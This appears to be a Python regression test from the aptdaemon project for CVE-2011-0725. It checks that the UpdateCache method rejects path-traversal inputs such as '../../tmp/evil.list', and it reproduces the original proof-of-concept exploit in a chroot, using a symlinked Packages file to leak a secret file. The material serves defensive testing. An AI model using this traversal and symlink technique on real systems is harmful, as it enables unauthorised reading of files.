~aptdaemon-developers/aptdaemon/1.x

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (C) 2010 Michael Vogt <mvo@ubuntu.com>
#
# Licensed under the GNU General Public License Version 2
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
# Licensed under the GNU General Public License Version 2

"""Regression test for the security issue CVE-2011-0725 tracked
in LP #722228.

Thanks to Sergey Nizovtsev for spotting this issue.

The UpdateCache method allows to specify an alternative sources.list
snippet to only update the repositories specified in the corresponding
configuration file.

Aptdaemon did not restrict the path to the sources.list.d directory and
allowed to inject packages from malicious sources specified in a custom
sources.list and even to read every file on the system.
"""

__author__ = "Michael Vogt <mvo@glatzor.de>"

import os
import tempfile
import time
import unittest2

import apt_pkg
import dbus
import mock

import aptdaemon.client
import aptdaemon.test
from aptdaemon.worker import AptWorker
from aptdaemon.errors import AptDaemonError


class TestFix(unittest2.TestCase):

    """Test the fix."""

    def test_closed(self):
        worker = AptWorker()
        # We don't want to perform any cache changes
        worker._cache = mock.Mock()
        trans = mock.Mock()
        # ensure normal operation keeps working
        worker.update_cache(trans, None)
        self.assertTrue(worker._cache.update.called)
        worker._cache.reset_mock()
        worker.update_cache(trans, "foobar.list")
        self.assertTrue(worker._cache.update.called)
        worker._cache.reset_mock()
        worker.update_cache(trans, "/etc/apt/sources.list.d/foobar.list")
        self.assertTrue(worker._cache.update.called)
        worker._cache.reset_mock()
        worker.update_cache(trans, "/etc/apt/sources.list")
        self.assertTrue(worker._cache.update.called)

        # ensure absolute path is no longer working
        worker._cache.reset_mock()
        self.assertRaises(AptDaemonError, worker.update_cache, trans,
                          "/etc/fstab")
        self.assertFalse(worker._cache.update.called)
        worker._cache.reset_mock()
        self.assertRaises(AptDaemonError, worker.update_cache, trans,
                          "/tmp/etc/apt/sources.list.d")
        self.assertFalse(worker._cache.update.called)
        worker._cache.reset_mock()
        self.assertRaises(AptDaemonError, worker.update_cache, trans,
                          "/etc/apt/sources.list.d/../../tmp/evil.list")
        self.assertFalse(worker._cache.update.called)
        worker._cache.reset_mock()
        self.assertRaises(AptDaemonError, worker.update_cache, trans,
                          "../../../../../../../../../tmp/evil.list")
        self.assertFalse(worker._cache.update.called)


class TestExploit(aptdaemon.test.AptDaemonTestCase):

    """Test if the a possible exploit still exists."""

    def setUp(self):
        """Setup a chroot, run the aptdaemon and a fake PolicyKit daemon."""
        # Setup chroot
        self.chroot = aptdaemon.test.Chroot()
        self.chroot.setup()
        self.addCleanup(self.chroot.remove)
        # Start aptdaemon with the chroot on the session bus
        self.start_dbus_daemon()
        self.bus = dbus.bus.BusConnection(self.dbus_address)
        self.start_session_aptd(self.chroot.path)
        # Start the fake PolikcyKit daemon
        self.start_fake_polkitd()
        time.sleep(1)
        # Create a file which containts a virtual secret
        self.secrets_file = tempfile.NamedTemporaryFile(dir=self.chroot.path,
                                                        delete=False)
        self.secrets_file.write("Oh oh!")
        self.secrets_file.close()

    @unittest2.expectedFailure
    def test(self):
        """A possible exploit of the security issue.
        Originally provided by Sergey Nizovtsev.
        """
        repo_path = os.path.join(self.chroot.path, "repo")
        lst_path = os.path.join(self.chroot.path, "malicious.list")

        arch = apt_pkg.config["APT::Architecture"]

        # Setup a pseudo repository and link the file which should be extracted
        # to the Packages file
        dir = os.path.join(repo_path, "dists/a/a/binary-%s" % arch)
        os.makedirs(dir)
        os.symlink(self.secrets_file.name, "%s/Packages" % dir)
        # Create a malicious list file which injects the repo
        with open(lst_path, "w") as lst_file:
            lst_file.write("deb file://%s a a" % repo_path)

        client = aptdaemon.client.AptClient(self.bus)
        exit = client.update_cache(sources_list=lst_path, wait=True)
        self.assertEqual(exit, aptdaemon.enums.EXIT_SUCCESS)

        # Check if succeeded to leak the file content!
        repo_path_encoded = apt_pkg.uri_to_filename("file://%s" % repo_path)
        leaked_path = os.path.join(self.chroot.path, "var/lib/apt/lists/",
                                   "%s_dists_a_a_binary-%s_"
                                   "Packages" % (repo_path_encoded, arch))
        with open(leaked_path, "r") as leaked_file:
            self.assertEqual(leaked_file.read(), "Oh oh!")


if __name__ == "__main__":
    unittest2.main()

# vim: ts=4 et sts=4